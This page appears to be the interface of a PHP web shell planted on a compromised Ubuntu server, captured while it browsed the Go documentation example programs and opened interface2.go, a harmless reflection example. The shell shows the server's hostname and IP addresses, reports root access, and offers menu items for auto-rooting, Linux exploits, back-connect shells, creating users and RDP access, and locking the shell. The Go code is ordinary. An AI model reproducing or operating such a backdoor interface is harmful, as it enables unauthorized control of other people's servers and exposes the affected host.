Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
doc /
progs /
[ HOME SHELL ]
Name
Size
Permission
Action
cgo1.go
337
B
-rw-r--r--
cgo2.go
342
B
-rw-r--r--
cgo3.go
368
B
-rw-r--r--
cgo4.go
374
B
-rw-r--r--
defer.go
860
B
-rw-r--r--
defer2.go
1.01
KB
-rw-r--r--
eff_bytesize.go
906
B
-rw-r--r--
eff_qr.go
1
KB
-rw-r--r--
eff_sequence.go
995
B
-rw-r--r--
eff_unused1.go
154
B
-rw-r--r--
eff_unused2.go
273
B
-rw-r--r--
error.go
2.27
KB
-rw-r--r--
error2.go
1.17
KB
-rw-r--r--
error3.go
1.31
KB
-rw-r--r--
error4.go
1.56
KB
-rw-r--r--
go1.go
4.73
KB
-rw-r--r--
gobs1.go
445
B
-rw-r--r--
gobs2.go
987
B
-rw-r--r--
image_draw.go
3.06
KB
-rw-r--r--
image_package1.go
281
B
-rw-r--r--
image_package2.go
371
B
-rw-r--r--
image_package3.go
339
B
-rw-r--r--
image_package4.go
405
B
-rw-r--r--
image_package5.go
347
B
-rw-r--r--
image_package6.go
448
B
-rw-r--r--
interface.go
1.04
KB
-rw-r--r--
interface2.go
2.61
KB
-rw-r--r--
json1.go
1.45
KB
-rw-r--r--
json2.go
696
B
-rw-r--r--
json3.go
1.21
KB
-rw-r--r--
json4.go
751
B
-rw-r--r--
json5.go
549
B
-rw-r--r--
run.go
4.74
KB
-rw-r--r--
slices.go
1.16
KB
-rw-r--r--
timeout1.go
481
B
-rw-r--r--
timeout2.go
515
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : interface2.go
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // This file contains the code snippets included in "The Laws of Reflection." package main import ( "fmt" "reflect" ) func main() { var x float64 = 3.4 fmt.Println("type:", reflect.TypeOf(x)) // STOP OMIT // TODO(proppy): test output OMIT } // STOP main OMIT func f1() { // START f1 OMIT var x float64 = 3.4 v := reflect.ValueOf(x) fmt.Println("type:", v.Type()) fmt.Println("kind is float64:", v.Kind() == reflect.Float64) fmt.Println("value:", v.Float()) // STOP OMIT } func f2() { // START f2 OMIT var x uint8 = 'x' v := reflect.ValueOf(x) fmt.Println("type:", v.Type()) // uint8. fmt.Println("kind is uint8: ", v.Kind() == reflect.Uint8) // true. x = uint8(v.Uint()) // v.Uint returns a uint64. // STOP OMIT } func f3() { // START f3 OMIT type MyInt int var x MyInt = 7 v := reflect.ValueOf(x) // STOP OMIT // START f3b OMIT y := v.Interface().(float64) // y will have type float64. fmt.Println(y) // STOP OMIT // START f3c OMIT fmt.Println(v.Interface()) // STOP OMIT // START f3d OMIT fmt.Printf("value is %7.1e\n", v.Interface()) // STOP OMIT } func f4() { // START f4 OMIT var x float64 = 3.4 v := reflect.ValueOf(x) v.SetFloat(7.1) // Error: will panic. // STOP OMIT } func f5() { // START f5 OMIT var x float64 = 3.4 v := reflect.ValueOf(x) fmt.Println("settability of v:", v.CanSet()) // STOP OMIT } func f6() { // START f6 OMIT var x float64 = 3.4 v := reflect.ValueOf(x) // STOP OMIT // START f6b OMIT v.SetFloat(7.1) // STOP OMIT } func f7() { // START f7 OMIT var x float64 = 3.4 p := reflect.ValueOf(&x) // Note: take the address of x. fmt.Println("type of p:", p.Type()) fmt.Println("settability of p:", p.CanSet()) // STOP OMIT // START f7b OMIT v := p.Elem() fmt.Println("settability of v:", v.CanSet()) // STOP OMIT // START f7c OMIT v.SetFloat(7.1) fmt.Println(v.Interface()) fmt.Println(x) // STOP OMIT } func f8() { // START f8 OMIT type T struct { A int B string } t := T{23, "skidoo"} s := reflect.ValueOf(&t).Elem() typeOfT := s.Type() for i := 0; i < s.NumField(); i++ { f := s.Field(i) fmt.Printf("%d: %s %s = %v\n", i, typeOfT.Field(i).Name, f.Type(), f.Interface()) } // STOP OMIT // START f8b OMIT s.Field(0).SetInt(77) s.Field(1).SetString("Sunset Strip") fmt.Println("t is now", t) // STOP OMIT } func f9() { // START f9 OMIT var x float64 = 3.4 fmt.Println("value:", reflect.ValueOf(x)) // STOP OMIT }
Close